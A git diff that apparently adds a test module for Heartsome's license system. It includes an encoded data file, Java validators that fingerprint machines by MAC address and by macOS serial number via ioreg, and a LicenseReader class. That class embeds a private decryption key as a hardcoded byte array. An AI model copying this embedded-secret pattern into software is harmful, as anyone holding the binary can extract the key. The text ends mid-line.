+89U1CD7sY2R7qvkAKI8VLwpF +89U1VE54X9MKvaA3xQCykz5u +89U1GTxKItf7OV2Pl2C8x0N7 +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1jYK2ed2jwpaRwwFFj172 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1u9FVCKk99HfbjTOimzFk +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U1YNCUEZNI8uqCfnPtkhv6 +89U18pQc6Nz9ArDPDSicS8T4 +89U1CD7sY2R7qvkAKI8VLwpF +89U1gf8BA3FjVKdHvOScTc4K +89U1VE54X9MKvaA3xQCykz5u +89U1GTxKItf7OV2Pl2C8x0N7 +89U1MaiikSbEfUc6Sp2ik3Vm +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1u9FVCKk99HfbjTOimzFk +89U1jYK2ed2jwpaRwwFFj172 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1VE54X9MKvaA3xQCykz5u +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1GTxKItf7OV2Pl2C8x0N7 +89U1EmEdQtGcMcD6NnpU36G9 +89U1gf8BA3FjVKdHvOScTc4K +89U1MaiikSbEfUc6Sp2ik3Vm +89U1VnPaLnbKT5bj9t2NUEBW +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1jYK2ed2jwpaRwwFFj172 +89U1u9FVCKk99HfbjTOimzFk +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U1YNCUEZNI8uqCfnPtkhv6 +89U18pQc6Nz9ArDPDSicS8T4 +89U1CD7sY2R7qvkAKI8VLwpF +89U1VE54X9MKvaA3xQCykz5u +89U1GTxKItf7OV2Pl2C8x0N7 +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gf8BA3FjVKdHvOScTc4K +89U1jYK2ed2jwpaRwwFFj172 +89U1EmEdQtGcMcD6NnpU36G9 +89U1VnPaLnbKT5bj9t2NUEBW +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1u9FVCKk99HfbjTOimzFk +89U0xNcgiAzlc6dGKgcWdSrW +89U0YpHBxYEknadPCJfcLfAc +89U0W7GxPvRW7ZMRrWzu2nFS +89U18pQc6Nz9ArDPDSicS8T4 +89U1jiKrhD5IG1yNU0O2CinG +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1gf8BA3FjVKdHvOScTc4K +89U1GTxKItf7OV2Pl2C8x0N7 +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1jYK2ed2jwpaRwwFFj172 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U1YNCUEZNI8uqCfnPtkhv6 +89U18pQc6Nz9ArDPDSicS8T4 +89U1CD7sY2R7qvkAKI8VLwpF +89U1GTxKItf7OV2Pl2C8x0N7 +89U1gf8BA3FjVKdHvOScTc4K +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1VnPaLnbKT5bj9t2NUEBW +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1EmEdQtGcMcD6NnpU36G9 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1jYK2ed2jwpaRwwFFj172 +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1GTxKItf7OV2Pl2C8x0N7 +89U1gf8BA3FjVKdHvOScTc4K +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U1jYK2ed2jwpaRwwFFj172 +89U1EmEdQtGcMcD6NnpU36G9 +89U17PMrTaYGJIaKyiBt2CFp +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1gf8BA3FjVKdHvOScTc4K +89U1CD7sY2R7qvkAKI8VLwpF +89U1GTxKItf7OV2Pl2C8x0N7 +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1jYK2ed2jwpaRwwFFj172 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1CD7sY2R7qvkAKI8VLwpF +89U1YNCUEZNI8uqCfnPtkhv6 +89U1GTxKItf7OV2Pl2C8x0N7 +89U1gf8BA3FjVKdHvOScTc4K +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1jYK2ed2jwpaRwwFFj172 +89U1u9FVCKk99HfbjTOimzFk +89U1Hhl1OTXk1bcNAlTb1ug6 +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1gf8BA3FjVKdHvOScTc4K +89U1CD7sY2R7qvkAKI8VLwpF +89U1GTxKItf7OV2Pl2C8x0N7 +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1jYK2ed2jwpaRwwFFj172 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1u9FVCKk99HfbjTOimzFk +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1GTxKItf7OV2Pl2C8x0N7 +89U1gf8BA3FjVKdHvOScTc4K +89U1CD7sY2R7qvkAKI8VLwpF +89U1MaiikSbEfUc6Sp2ik3Vm +89U1VE54X9MKvaA3xQCykz5u +89U1VnPaLnbKT5bj9t2NUEBW +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1jYK2ed2jwpaRwwFFj172 +89U1EmEdQtGcMcD6NnpU36G9 +89U1u9FVCKk99HfbjTOimzFk +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1gf8BA3FjVKdHvOScTc4K +89U1GTxKItf7OV2Pl2C8x0N7 +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1EmEdQtGcMcD6NnpU36G9 +89U1VnPaLnbKT5bj9t2NUEBW +89U1u9FVCKk99HfbjTOimzFk +89U1jYK2ed2jwpaRwwFFj172 +89U17PMrTaYGJIaKyiBt2CFp +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1gf8BA3FjVKdHvOScTc4K +89U1VE54X9MKvaA3xQCykz5u +89U1GTxKItf7OV2Pl2C8x0N7 +89U1MaiikSbEfUc6Sp2ik3Vm +89U1GA98uLZeCpzZ31itnOXz +89U1EmEdQtGcMcD6NnpU36G9 +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U17PMrTaYGJIaKyiBt2CFp +89U1jYK2ed2jwpaRwwFFj172 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1u9FVCKk99HfbjTOimzFk +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1gf8BA3FjVKdHvOScTc4K +89U1GTxKItf7OV2Pl2C8x0N7 +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1EmEdQtGcMcD6NnpU36G9 +89U1VnPaLnbKT5bj9t2NUEBW +89U1jYK2ed2jwpaRwwFFj172 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1u9FVCKk99HfbjTOimzFk +89U17PMrTaYGJIaKyiBt2CFp +89U1GA98uLZeCpzZ31itnOXz +89U1GA98uLZeCpzZ31itnOXz +89U1JVlJTrqzCKIvdDAzMaHd +89U1GA98uLZeCpzZ31itnOXz +89U1GA98uLZeCpzZ31itnOXz +89U1GA98uLZeCpzZ31itnOXz +89U1GA98uLZeCpzZ31itnOXz +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1gf8BA3FjVKdHvOScTc4K +89U1GTxKItf7OV2Pl2C8x0N7 +89U1MaiikSbEfUc6Sp2ik3Vm +89U1VE54X9MKvaA3xQCykz5u +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1jYK2ed2jwpaRwwFFj172 +89U1u9FVCKk99HfbjTOimzFk +89U1Hhl1OTXk1bcNAlTb1ug6 +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1gf8BA3FjVKdHvOScTc4K +89U1VE54X9MKvaA3xQCykz5u +89U1GTxKItf7OV2Pl2C8x0N7 +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1YNCUEZNI8uqCfnPtkhv6 +89U1CD7sY2R7qvkAKI8VLwpF +89U1gf8BA3FjVKdHvOScTc4K +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1GTxKItf7OV2Pl2C8x0N7 +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1jYK2ed2jwpaRwwFFj172 +89U1Hhl1OTXk1bcNAlTb1ug6 +89U1u9FVCKk99HfbjTOimzFk +89U17PMrTaYGJIaKyiBt2CFp +89U1jiKrhD5IG1yNU0O2CinG +89U18pQc6Nz9ArDPDSicS8T4 +89U1CD7sY2R7qvkAKI8VLwpF +89U1YNCUEZNI8uqCfnPtkhv6 +89U1gf8BA3FjVKdHvOScTc4K +89U1GTxKItf7OV2Pl2C8x0N7 +89U1VE54X9MKvaA3xQCykz5u +89U1MaiikSbEfUc6Sp2ik3Vm +89U1gJ9CPVMtQYbfeHUfR5Mc +89U1VnPaLnbKT5bj9t2NUEBW +89U1EmEdQtGcMcD6NnpU36G9 +89U1jYK2ed2jwpaRwwFFj172 +89U1u9FVCKk99HfbjTOimzFk +89U1Hhl1OTXk1bcNAlTb1ug6 +89U17PMrTaYGJIaKyiBt2CFp +89U1GA98uLZeCpzZ31itnOXz +89U1GA98uLZeCpzZ31itnOXz \ No newline at end of file diff --git a/test/net.heartsome.license.test/lib/ApacheJMeter_core.jar b/test/net.heartsome.license.test/lib/ApacheJMeter_core.jar new file mode 100644 index 0000000..9d64fd1 Binary files /dev/null and b/test/net.heartsome.license.test/lib/ApacheJMeter_core.jar differ diff --git a/test/net.heartsome.license.test/lib/ApacheJMeter_java.jar b/test/net.heartsome.license.test/lib/ApacheJMeter_java.jar new file mode 100644 index 0000000..e1eff68 Binary files /dev/null and b/test/net.heartsome.license.test/lib/ApacheJMeter_java.jar differ diff --git a/test/net.heartsome.license.test/lib/bcprov-jdk14-136.jar b/test/net.heartsome.license.test/lib/bcprov-jdk14-136.jar new file mode 100644 index 0000000..c1cf5b3 Binary files /dev/null and b/test/net.heartsome.license.test/lib/bcprov-jdk14-136.jar differ diff --git a/test/net.heartsome.license.test/lib/commons-httpclient-3.0.jar b/test/net.heartsome.license.test/lib/commons-httpclient-3.0.jar new file mode 100644 index 0000000..54a9300 Binary files /dev/null and b/test/net.heartsome.license.test/lib/commons-httpclient-3.0.jar differ diff --git a/test/net.heartsome.license.test/lib/jug.jar b/test/net.heartsome.license.test/lib/jug.jar new file mode 100644 index 0000000..c616371 Binary files /dev/null and b/test/net.heartsome.license.test/lib/jug.jar differ diff --git a/test/net.heartsome.license.test/lib/wsdl4j-1.5.1.jar b/test/net.heartsome.license.test/lib/wsdl4j-1.5.1.jar new file mode 100644 index 0000000..c6254ee Binary files /dev/null and b/test/net.heartsome.license.test/lib/wsdl4j-1.5.1.jar differ diff --git a/test/net.heartsome.license.test/lib/xfire-all-1.2.6.jar b/test/net.heartsome.license.test/lib/xfire-all-1.2.6.jar new file mode 100644 index 0000000..828b680 Binary files /dev/null and b/test/net.heartsome.license.test/lib/xfire-all-1.2.6.jar differ diff --git a/test/net.heartsome.license.test/liblinux_x86_EtherAddr_32bit.so b/test/net.heartsome.license.test/liblinux_x86_EtherAddr_32bit.so new file mode 100644 index 0000000..c925008 Binary files /dev/null and b/test/net.heartsome.license.test/liblinux_x86_EtherAddr_32bit.so differ diff --git a/test/net.heartsome.license.test/liblinux_x86_EtherAddr_64bit.so b/test/net.heartsome.license.test/liblinux_x86_EtherAddr_64bit.so new file mode 100644 index 0000000..1c21d44 Binary files /dev/null and b/test/net.heartsome.license.test/liblinux_x86_EtherAddr_64bit.so differ diff --git a/test/net.heartsome.license.test/net_heartsome_license_Series.h b/test/net.heartsome.license.test/net_heartsome_license_Series.h new file mode 100644 index 0000000..fa0f6b1 --- /dev/null +++ b/test/net.heartsome.license.test/net_heartsome_license_Series.h @@ -0,0 +1,21 @@ +/* DO NOT EDIT THIS FILE - it is machine generated */ +#include +/* Header for class net_heartsome_license_Series */ + +#ifndef _Included_net_heartsome_license_Series +#define _Included_net_heartsome_license_Series +#ifdef __cplusplus +extern "C" { +#endif +/* + * Class: net_heartsome_license_Series + * Method: getSeries + * Signature: ()Ljava/lang/String; + */ +JNIEXPORT jstring JNICALL Java_net_heartsome_license_Series_getSeries + (JNIEnv *, jclass); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/test/net.heartsome.license.test/src/log4j.properties b/test/net.heartsome.license.test/src/log4j.properties new file mode 100644 index 0000000..ba48d96 --- /dev/null +++ b/test/net.heartsome.license.test/src/log4j.properties @@ -0,0 +1,22 @@ +#log4j.rootLogger=INFO, Console , R + +#log4j.appender.Console=org.apache.log4j.ConsoleAppender +#log4j.appender.Console.layout=org.apache.log4j.PatternLayout +#log4j.appender.Console.layout.ConversionPattern=[HSERP] %p [%t] | %m%n + +#log4j.appender.R=org.apache.log4j.DailyRollingFileAppender +#log4j.appender.R.File=webapps/HeartsomeErp/Log/hserp_service.log +#log4j.appender.R.layout=org.apache.log4j.PatternLayout +#log4j.appender.R.layout.ConversionPattern=[HSERP]-%p %d: %m%n + + +log4j.rootLogger = INFO, DailyLog + +log4j.appender.DailyLog = org.apache.log4j.DailyRollingFileAppender +log4j.appender.DailyLog.File = ${user.home}/Heartsome Workspace/.log/HSCAT8 +log4j.appender.DailyLog.DatePattern='_'yyyy_MM_dd'.log' +log4j.appender.DailyLog.Threshold = INFO +log4j.appender.DailyLog.layout=org.apache.log4j.PatternLayout +log4j.appender.DailyLog.layout.ConversionPattern=[HSCAT8]-%p %d %l: %m%n + + \ No newline at end of file diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/LicenseIdValidator.java b/test/net.heartsome.license.test/src/net/heartsome/license/LicenseIdValidator.java new file mode 100644 index 0000000..39dd4e5 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/LicenseIdValidator.java @@ -0,0 +1,34 @@ +package net.heartsome.license; + +import net.heartsome.license.constants.Constants; +import net.heartsome.license.generator.LicenseIdGenerator; + +public class LicenseIdValidator { + private boolean isTrial; + + public boolean checkLicense(String licenseId) { + if (licenseId.length() != 24) { + return false; + } + + LicenseIdGenerator gen = new LicenseIdGenerator(licenseId); + String temp = gen.getIsTrial(); + if (!Constants.TYPE_TMEP.equals(temp) && !Constants.TYPE_BUSINESS.equals(temp)) { + return false; + } + isTrial = Constants.TYPE_TMEP.equals(temp); + if (!System.getProperty("TSVersion").equals(gen.getProductId())) { + return false; + } + + if (!System.getProperty("TSEdition").equals(gen.getVersion())) { + return false; + } + + return true; + } + + public boolean getType() { + return isTrial; + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/LicenseReader.java b/test/net.heartsome.license.test/src/net/heartsome/license/LicenseReader.java new file mode 100644 index 0000000..bad72f8 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/LicenseReader.java @@ -0,0 +1,65 @@ +package net.heartsome.license; + +import net.heartsome.license.utils.FileUtils; + +public class LicenseReader { + private int productId; + private byte[] key = new byte[] {48,-126,4,-67,2,1,0,48,13,6,9,42,-122,72,-122,-9,13,1,1,1,5,0,4,-126,4,-89,48,-126,4,-93,2,1,0,2, + -126,1,1,0,-116,-31,33,-26,26,115,95,-111,-97,62,29,91,-68,-26,19,56,-16,16,115,-127,-120,-58,-20,-52,-2,56,23,-2,-68, + 43,-20,-53,61,16,-10,35,-66,-5,-6,-69,-61,109,69,-26,74,-103,124,-34,-117,-28,-19,93,105,-47,-15,-27,-115,-41,-69,10, + 20,51,-54,70,-93,108,28,85,87,-120,95,-59,-30,-44,-117,8,82,104,39,-71,53,61,50,92,15,-64,-40,121,-55,21,10,86,34,21, + 82,69,-69,25,86,6,-105,19,-86,-86,80,109,-55,19,-81,44,-18,-114,-125,-79,-26,-83,29,90,-127,-3,-100,-86,-4,-72,34,-66, + -71,15,28,-62,93,-3,-119,-73,115,-22,-107,-90,80,-102,-41,24,3,1,-107,-26,55,-83,113,69,-47,-115,-93,7,8,70,28,-38,112, + 95,-44,98,-55,51,-79,-49,-83,4,112,-6,-102,30,-86,60,-121,29,-81,-126,31,-23,-90,108,-119,94,-28,15,-22,-16,91,42,37, + -90,-43,119,120,73,105,-2,31,-64,-85,94,-101,43,-87,-6,-97,19,35,-124,53,-95,-113,94,-101,-113,-18,-52,-93,92,122,-108, + 73,95,85,116,45,29,-118,20,52,-41,114,73,31,-114,-15,71,-44,-38,-91,-48,72,-54,-49,48,-118,79,98,-47,-34,37,-67,95,-81, + -67,2,3,1,0,1,2,-126,1,0,101,-115,-23,12,-31,-26,103,111,39,22,-12,-68,-21,-40,2,-27,89,-112,-46,98,-1,65,62,-12,-85,17, + -82,-94,111,-19,78,30,88,32,0,-1,85,-82,121,89,-97,16,7,-126,114,38,96,-16,96,114,31,117,-26,81,116,-119,-31,13,49,-124, + -101,121,-106,8,3,-56,108,72,76,-8,62,-23,-4,-112,-16,-60,-121,-5,19,31,-100,-76,71,-72,59,-106,-19,-74,36,-15,40,-23, + 92,90,120,91,81,-5,122,-102,-9,-113,50,-56,-31,127,-78,-94,-96,-11,-57,-26,46,35,49,65,123,-42,-127,-68,91,-110,-102, + -24,-10,10,-4,-123,66,-99,-7,83,56,118,27,-96,37,-64,107,120,-81,-29,87,112,-8,121,10,-93,121,-93,54,49,84,-46,-16,-69, + 110,93,113,31,35,-22,-120,-121,-31,-31,17,-73,44,-31,73,114,106,7,-88,-63,48,34,43,-16,-128,-96,-24,-109,-116,92,25,39, + 40,127,4,33,-26,84,-117,72,0,110,112,-6,94,23,85,115,-67,118,80,108,-110,-20,-90,-73,-27,31,-96,-115,-75,113,-29,-117, + -57,-34,3,-92,124,-8,-20,-53,31,27,-88,69,-122,-103,38,42,-15,-110,-14,3,-105,50,-26,38,-14,-44,122,88,-108,70,46,88, + -36,-75,73,-127,2,-127,-127,0,-19,-64,20,102,-53,-80,29,97,-12,68,10,-77,-84,-29,19,63,-77,3,-120,69,-38,80,-49,-52, + 33,-9,25,-81,43,65,119,-40,-37,-76,5,-71,-57,26,-99,-64,41,40,38,124,-102,-60,-39,-121,32,-75,-104,12,95,-62,47,27,8, + 29,68,14,-44,-78,-30,-109,-37,-41,-23,-109,-74,119,109,83,71,63,-62,-32,-126,32,103,-57,101,-95,123,6,-7,13,106,47,41, + -102,-121,122,-28,8,49,34,-90,14,-59,-47,57,-104,124,-92,115,-78,48,-103,40,-90,79,-3,66,-123,-110,99,-128,12,-5,-58, + 110,105,76,-116,-126,-91,1,-31,2,-127,-127,0,-105,-79,124,-8,1,95,35,99,-57,-45,-65,44,-53,93,-18,-17,-4,1,-57,16,-46, + -115,-4,86,-19,96,-125,7,-82,98,47,38,-94,-53,-20,-45,37,86,-65,108,-57,2,108,40,31,-55,-38,-16,86,67,66,-16,104,30, + 108,9,70,-26,-123,-105,-120,-106,-50,-117,31,-101,74,32,103,126,32,-83,-40,-27,-90,-22,-55,-48,124,5,-28,65,65,-102, + -52,-93,65,-65,17,112,-71,29,90,-24,-68,-84,73,-119,109,-52,-25,33,-33,-73,-85,61,78,-47,106,7,-65,43,8,87,22,78,96, + -101,85,50,-52,72,-102,-9,-88,48,33,93,2,-127,-128,25,-99,-119,85,45,-6,-14,-97,124,38,-36,-108,81,59,65,-10,-87,-3, + -26,111,-56,62,-50,-76,-86,-80,41,-41,66,-84,-46,17,-50,82,14,15,-33,16,-46,16,67,30,-19,78,-99,-118,57,-7,-94,31, + -114,-101,62,-79,-8,75,76,75,-126,-22,-86,37,-1,-35,120,97,65,-20,69,75,-122,-66,-29,61,78,108,-53,-8,91,-42,18,-16, + 28,6,59,77,35,-76,-93,33,-32,24,-16,122,-91,120,-101,53,-102,64,-103,-103,1,76,-30,-98,63,56,49,54,2,6,66,101,-117, + -55,38,-95,-65,122,-72,-88,-91,-77,-71,-37,-73,97,2,-127,-127,0,-109,97,-108,-93,120,-31,-80,-122,-81,-115,-95,126, + -86,16,23,-89,-2,-42,-45,76,26,-26,108,-73,32,102,-42,-89,-51,-36,3,39,-84,-96,40,-10,116,-98,-75,-39,-65,-7,48,-112, + 67,98,97,95,-124,-48,80,-25,54,-95,-24,33,-109,75,65,-100,-102,-50,-70,-38,28,-39,73,-55,-10,3,107,72,-67,37,83,105, + 102,-81,50,-16,-98,118,112,-127,48,53,-90,25,55,-98,-89,-100,71,-55,60,22,-64,83,-49,-28,118,-28,72,114,48,-29,-98, + 2,-124,-36,5,-10,-113,97,-35,-128,69,8,102,92,-74,114,12,110,118,112,92,-39,2,-127,-128,18,114,-71,-94,26,-65,-63, + 87,-42,-61,44,-36,80,-63,97,127,40,-99,-67,-9,86,68,16,12,101,-71,75,-41,43,-15,54,119,-26,-126,-16,68,16,99,16, + 22,-83,4,127,126,62,-52,42,-10,-30,-62,-9,-71,-41,-109,-22,98,-69,56,-53,-12,107,-66,106,22,19,-124,122,-74,106, + -126,-39,-27,-37,-22,-67,41,-56,-75,118,120,50,-41,-2,19,83,-48,-53,0,-69,95,-4,18,46,81,116,121,-70,124,-14,68, + -47,-35,-86,56,-34,124,27,-37,-80,56,65,-26,-17,89,121,29,-72,112,-96,98,-115,59,7,76,62,68,-73,-71}; + + public LicenseReader(int productId) { + this.productId = productId; + } + + public String getLicenseInfo() { + byte[] b = FileUtils.readFile(ProtectionFactory.getFileName(1, productId)); + if (b == null) { + return null; + } + try { + b = ProtectionFactory.getEncrypt().decrypt(key, b); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + + return new String(b); + } + +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/LinuxSeries.java b/test/net.heartsome.license.test/src/net/heartsome/license/LinuxSeries.java new file mode 100644 index 0000000..00bc349 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/LinuxSeries.java @@ -0,0 +1,29 @@ +package net.heartsome.license; + +import java.io.File; + +import net.heartsome.license.utils.StringUtils; + +import org.safehaus.uuid.EthernetAddress; +import org.safehaus.uuid.NativeInterfaces; + +public class LinuxSeries implements SeriesInterface { + + @Override + public String getSeries() { +// try { + NativeInterfaces.setLibDir(new File("lib")); +// NativeInterfaces.setLibDir(new File(FileLocator.toFileURL(Platform.getBundle("net.heartsome.license").getEntry("")).getPath())); + EthernetAddress[] macs = NativeInterfaces.getAllInterfaces(); + String series = ""; + for (EthernetAddress a : macs) { + series += a.toString() + "+"; + } + return "".equals(series) ? null : StringUtils.removeColon(series.substring(0, series.length() - 1)); +// } catch (IOException e) { +// e.printStackTrace(); +// return null; +// } + } + +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/LocalAuthorizationValidator.java b/test/net.heartsome.license.test/src/net/heartsome/license/LocalAuthorizationValidator.java new file mode 100644 index 0000000..bd852f5 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/LocalAuthorizationValidator.java @@ -0,0 +1,124 @@ +package net.heartsome.license; + +import net.heartsome.license.constants.Constants; +import net.heartsome.license.encrypt.InstallKeyEncrypt; +import net.heartsome.license.utils.FileUtils; + +public class LocalAuthorizationValidator { + + private boolean isTrial = false; + private String licenseId = ""; + private String s; + private byte[] b; + + public int checkLicense() { + LicenseReader reader = new LicenseReader(Constants.PRODUCTID); + s = reader.getLicenseInfo(); + if (s == null) { + return Constants.STATE_INVALID; + } + + String[] arrInfo = getStrFromInfo(s); + // 修改分隔符之åŽï¼Œæ—§ç‰ˆæœ¬çš„许å¯æ–‡ä»¶ä¼šå¯¼è‡´å¼‚常,所以需è¦åœ¨è¿™é‡Œåˆ¤æ–­ä¸€ä¸‹ï¼Œå¦‚果有异常,则会删掉原有文件,é‡æ–°æ¿€æ´»å³å¯ã€‚ + if (arrInfo.length<3){ + return Constants.STATE_INVALID; + } + String strKeyCode = arrInfo[0]; + String strMacCode = arrInfo[1]; + String strInstallCode = arrInfo[2]; + + LicenseIdValidator va = new LicenseIdValidator(); + if (!va.checkLicense(strKeyCode)) { + return Constants.STATE_INVALID; + } + + licenseId = strKeyCode; + isTrial = va.getType(); + + b = FileUtils.readFile(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (b == null) { + return Constants.STATE_INVALID; + } + try { + b = InstallKeyEncrypt.decrypt(b); + } catch (Exception e) { + e.printStackTrace(); + return Constants.STATE_INVALID; + } + if (!strInstallCode.equals(new String(b))) { + return Constants.STATE_INVALID; + } + + if (!compareMacCode(ProtectionFactory.getSeries(), strMacCode)) { + return Constants.STATE_INVALID; + } + + return Constants.STATE_VALID; + } + + private String[] getStrFromInfo(String info) { + return info.split(Constants.SEPARATOR); + } + + /** + * 比较两个硬件指纹是å¦å¯ä»¥è®¤å®šä¸ºåŒä¸€å°æœºå™¨çš„方法 + * + * @param curMacCode + * @param parmMacCode + * @return + */ + private boolean compareMacCode(String curMacCode, String parmMacCode) { + if (curMacCode == null) { + return false; + } + if (curMacCode.equals(parmMacCode)) { + return true; + } else { + String[] str1 = curMacCode.split("%"); + String[] str2 = parmMacCode.split("%"); + + if (str1.length == str2.length) { + if (str1.length == 1) { + String[] str3 = curMacCode.split("[+]"); + String[] str4 = parmMacCode.split("[+]"); + for (int i = 0; i < str3.length; i++) { + for (int j = 0; j < str4.length; j++) { + if (str3[i].equals(str4[j])) { + return true; + } + } + } + } else if (str1.length == 3) { + if (str1[0].equals(str2[0]) && str1[1].equals(str2[1])) { + String[] str3 = str1[2].split("[+]"); + String[] str4 = str2[2].split("[+]"); + for (int i = 0; i < str3.length; i++) { + for (int j = 0; j < str4.length; j++) { + if (str3[i].equals(str4[j])) { + return true; + } + } + } + } + } + } + } + return false; + } + + public boolean isTrial() { + return isTrial; + } + + public String getLicenseId() { + return licenseId; + } + + public String getLicenseInfo() { + return s; + } + + public byte[] getInstall() { + return b; + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/MacosxSeries.java b/test/net.heartsome.license.test/src/net/heartsome/license/MacosxSeries.java new file mode 100644 index 0000000..8de92be --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/MacosxSeries.java @@ -0,0 +1,74 @@ +package net.heartsome.license; + +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; + +public class MacosxSeries implements SeriesInterface { + + @Override + public String getSeries() { + try { + String[] commands = new String[] {"/bin/bash", "-c", "ioreg -rd1 -c IOPlatformExpertDevice | " + + "awk '/IOPlatformSerialNumber/ 